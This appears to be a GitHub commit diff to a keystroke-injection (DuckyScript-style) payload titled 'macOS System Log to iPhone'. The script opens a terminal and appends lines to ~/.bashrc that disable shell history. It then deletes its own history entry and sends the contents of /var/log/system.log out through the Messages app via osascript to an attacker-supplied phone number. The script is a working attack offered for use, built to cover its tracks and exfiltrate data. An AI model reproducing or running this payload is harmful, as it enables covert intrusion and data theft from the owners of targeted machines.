Update macOS System Log to iPhone.txt

This commit is contained in:
Narsty
2023-06-23 20:40:08 -05:00
committed by GitHub
parent fa2892d1af
commit 69f1c55b39
+7 -1
View File
@@ -18,7 +18,13 @@ STRING terminal
DELAY 1000
ENTER
DELAY 500
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
ENTER
DELAY 500
STRING x=$(cat /var/log/system.log); osascript -e 'tell application "Messages" to send "'$x'" to buddy "ENTER PHONE NUMBER HERE"'